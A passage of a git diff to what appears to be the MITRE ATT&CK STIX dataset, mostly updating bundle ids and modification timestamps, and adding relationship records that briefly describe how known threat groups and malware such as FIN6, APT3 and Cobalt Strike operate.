             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To move laterally on a victim network, FIN6 has used credentials stolen from various systems on which it gathered usernames and password hashes.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83.json b/enterprise-attack/relationship/relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83.json
index 1769fb18d7..3752c0659b 100644
--- a/enterprise-attack/relationship/relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83.json
+++ b/enterprise-attack/relationship/relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94c42542-9ae3-4cd2-8a0b-8b0082fe7afc",
+    "id": "bundle--f18c2215-5378-4613-90f3-1892872144f2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1.json b/enterprise-attack/relationship/relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1.json
index 28cf8554f8..5c56cdc209 100644
--- a/enterprise-attack/relationship/relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1.json
+++ b/enterprise-attack/relationship/relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e44b1de5-1e1d-4126-acd5-fe01d9198813",
+    "id": "bundle--b583f6ba-55a9-4c8f-9136-cbc7d410c314",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT performs code injection injecting its own functions to browser processes.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2.json b/enterprise-attack/relationship/relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2.json
index 0c484675ed..9e02c05969 100644
--- a/enterprise-attack/relationship/relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2.json
+++ b/enterprise-attack/relationship/relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e077f889-ba07-4d96-8dd4-a5089e3b0b8b",
+    "id": "bundle--67ed0d18-e2a4-4f13-b013-d5305ec65268",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Zeroaccess is a kernel-mode rootkit.",
             "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f",
diff --git a/enterprise-attack/relationship/relationship--da734f6c-de0d-44f1-9521-6607b800ad43.json b/enterprise-attack/relationship/relationship--da734f6c-de0d-44f1-9521-6607b800ad43.json
index 69e3b3f9a7..490b7baee9 100644
--- a/enterprise-attack/relationship/relationship--da734f6c-de0d-44f1-9521-6607b800ad43.json
+++ b/enterprise-attack/relationship/relationship--da734f6c-de0d-44f1-9521-6607b800ad43.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1e17681d-fcba-4dfa-9873-bff68bab195a",
+    "id": "bundle--0b687f12-f198-40ae-be3e-5e028ae597c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da734f6c-de0d-44f1-9521-6607b800ad43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload downloads additional malware from the C2 server.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist Dropping Elephant",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
-                    "url": "https://securelist.com/blog/research/75328/the-dropping-elephant-actor/"
+                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--dac7355a-9d13-4155-a053-d0c18fe92f53.json b/enterprise-attack/relationship/relationship--dac7355a-9d13-4155-a053-d0c18fe92f53.json
new file mode 100644
index 0000000000..12785a651b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--dac7355a-9d13-4155-a053-d0c18fe92f53.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--967d22e0-48bb-4649-8551-b4c46e81e791",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--dac7355a-9d13-4155-a053-d0c18fe92f53",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28.json b/enterprise-attack/relationship/relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28.json
index 48290f7195..1f83fdf81a 100644
--- a/enterprise-attack/relationship/relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28.json
+++ b/enterprise-attack/relationship/relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bee9297d-cf47-4e04-99aa-4cefd93413ec",
+    "id": "bundle--153aaa7e-71d3-4230-84af-5a331521ee32",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
             "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
diff --git a/enterprise-attack/relationship/relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892.json b/enterprise-attack/relationship/relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892.json
index 5530b4cf88..b5a6c7f0bf 100644
--- a/enterprise-attack/relationship/relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892.json
+++ b/enterprise-attack/relationship/relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0f3617d0-be15-4f80-9378-7511aa7725e5",
+    "id": "bundle--c30482af-54a7-42f3-bbe1-4d054fb581a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke steals user files from local hard drives with file extensions that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0.json b/enterprise-attack/relationship/relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0.json
new file mode 100644
index 0000000000..4a85b2e7a6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--1c3d34dc-8b17-4007-ac76-b7ae00933bd0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can list out currently running processes.  ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "external_references": [
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964.json b/enterprise-attack/relationship/relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964.json
index e653a9b704..0299019040 100644
--- a/enterprise-attack/relationship/relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964.json
+++ b/enterprise-attack/relationship/relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6cc7c4f4-a404-447c-a36c-39768acbbf3d",
+    "id": "bundle--ff865988-0af6-4526-896b-46fe0cf39cdf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HDoor scans to identify open ports on the victim. ",
             "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
diff --git a/enterprise-attack/relationship/relationship--db8f1355-57f0-446d-a261-b168497b20c6.json b/enterprise-attack/relationship/relationship--db8f1355-57f0-446d-a261-b168497b20c6.json
index 57a185a2de..78268f19e9 100644
--- a/enterprise-attack/relationship/relationship--db8f1355-57f0-446d-a261-b168497b20c6.json
+++ b/enterprise-attack/relationship/relationship--db8f1355-57f0-446d-a261-b168497b20c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45fe571b-85c9-499d-a726-b6fde29f079a",
+    "id": "bundle--2a0aecb5-1c27-42d2-9cde-f20bf72c7052",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--db8f1355-57f0-446d-a261-b168497b20c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS copies documents under 15MB found on the victim system to is the user's <code>%temp%\\SMB\\</code> folder.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2.json b/enterprise-attack/relationship/relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2.json
index 705e7c2f96..63be5fe509 100644
--- a/enterprise-attack/relationship/relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2.json
+++ b/enterprise-attack/relationship/relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--76740c37-7c71-4f50-8df6-369b5266f79c",
+    "id": "bundle--20e4b88b-0700-4d1f-8d09-e0347a1aac29",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used Daniel Bohannon\u2019s Invoke-Obfuscation framework to obfuscate their PowerShell.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19.json b/enterprise-attack/relationship/relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19.json
index 03604c10dd..df17239e50 100644
--- a/enterprise-attack/relationship/relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19.json
+++ b/enterprise-attack/relationship/relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63ded947-8601-49f8-88db-ddae862c46c1",
+    "id": "bundle--d225c582-6b10-43e7-a8d6-71ce1720c7ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon schedules tasks to invoke its components in order to establish persistence.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63.json b/enterprise-attack/relationship/relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63.json
index 318f8590fa..6a203ce67f 100644
--- a/enterprise-attack/relationship/relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63.json
+++ b/enterprise-attack/relationship/relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a65ad2f8-75e6-4a0c-8566-23d60082fefe",
+    "id": "bundle--9a5e15e1-8506-4669-8241-fe8c3477b493",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe exfiltrates data to its C2 server over the same protocol as C2 communications.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
diff --git a/enterprise-attack/relationship/relationship--dbccbeab-26c9-476e-b529-c193f9796cbc.json b/enterprise-attack/relationship/relationship--dbccbeab-26c9-476e-b529-c193f9796cbc.json
new file mode 100644
index 0000000000..2602515eed
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--dbccbeab-26c9-476e-b529-c193f9796cbc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--808606da-dbe4-4b6c-83b7-16074e9912e2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--dbccbeab-26c9-476e-b529-c193f9796cbc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "exploits CVE-2016-4117 to allow an executable to gain escalated privileges.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc.json b/enterprise-attack/relationship/relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc.json
index 9a3b211595..8531fa717d 100644
--- a/enterprise-attack/relationship/relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc.json
+++ b/enterprise-attack/relationship/relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--69fd4f28-0823-4f5e-9801-589ac8f1d026",
+    "id": "bundle--e202962b-34ab-480e-88cc-e0515e155007",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The reconnaissance modules used with Duqu can collect information on network configuration.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c.json b/enterprise-attack/relationship/relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c.json
index bd1b49e96e..61a8400bbb 100644
--- a/enterprise-attack/relationship/relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c.json
+++ b/enterprise-attack/relationship/relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0801d7ca-d27b-48d2-83e7-65c0a1b63e01",
+    "id": "bundle--eb68da3d-1029-46af-af76-1a786d035430",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--dc187ed1-3987-4575-b1af-dc150e4329f8.json b/enterprise-attack/relationship/relationship--dc187ed1-3987-4575-b1af-dc150e4329f8.json
index e7a06df624..da284c9e14 100644
--- a/enterprise-attack/relationship/relationship--dc187ed1-3987-4575-b1af-dc150e4329f8.json
+++ b/enterprise-attack/relationship/relationship--dc187ed1-3987-4575-b1af-dc150e4329f8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45c0d26e-7a1e-47b4-9743-4b328642934e",
+    "id": "bundle--862e16b5-453c-4021-b223-a4c00fac370b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dc187ed1-3987-4575-b1af-dc150e4329f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz collects the network adapter\u2019s IP and MAC address as well as IP addresses of the network adapter\u2019s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
diff --git a/enterprise-attack/relationship/relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d.json b/enterprise-attack/relationship/relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d.json
new file mode 100644
index 0000000000..0cbc5152f0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--592e1b3c-5794-4e23-b80c-7fa96d01c2e1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T18:59:16.545Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98.json b/enterprise-attack/relationship/relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98.json
index 880d68ebb3..5d296c59a5 100644
--- a/enterprise-attack/relationship/relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98.json
+++ b/enterprise-attack/relationship/relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b73107c2-44e6-438b-9b7e-9a596d6126cf",
+    "id": "bundle--037cf0a0-6388-4cc2-a6d8-337ca2337db3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of deleting Registry keys used for persistence.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa.json b/enterprise-attack/relationship/relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa.json
index 566f9efe9c..4155492043 100644
--- a/enterprise-attack/relationship/relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa.json
+++ b/enterprise-attack/relationship/relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14939bc1-195e-4da9-a973-f82be67932f3",
+    "id": "bundle--0889b53f-3c37-4f74-974c-db3260b74eda",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has detached network shares after exfiltrating files, likely to evade detection.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2.json b/enterprise-attack/relationship/relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2.json
index 59379e4a5f..937ace2f1a 100644
--- a/enterprise-attack/relationship/relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2.json
+++ b/enterprise-attack/relationship/relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c949d0bb-e492-4238-b604-ca8984c91ecb",
+    "id": "bundle--13a8605f-a165-47b0-be87-f25f88bae0dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4.json b/enterprise-attack/relationship/relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4.json
index 8fc6aa4f6c..d8112812a4 100644
--- a/enterprise-attack/relationship/relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4.json
+++ b/enterprise-attack/relationship/relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--77037703-8c71-4907-a38a-a89d1a3ce43c",
+    "id": "bundle--6667f665-27ae-4c02-9198-3b4477babb9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a",
             "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
diff --git a/enterprise-attack/relationship/relationship--dd21c8fe-caf8-40df-b049-787ba465eef7.json b/enterprise-attack/relationship/relationship--dd21c8fe-caf8-40df-b049-787ba465eef7.json
index 02dbb0faad..66ed826fcc 100644
--- a/enterprise-attack/relationship/relationship--dd21c8fe-caf8-40df-b049-787ba465eef7.json
+++ b/enterprise-attack/relationship/relationship--dd21c8fe-caf8-40df-b049-787ba465eef7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
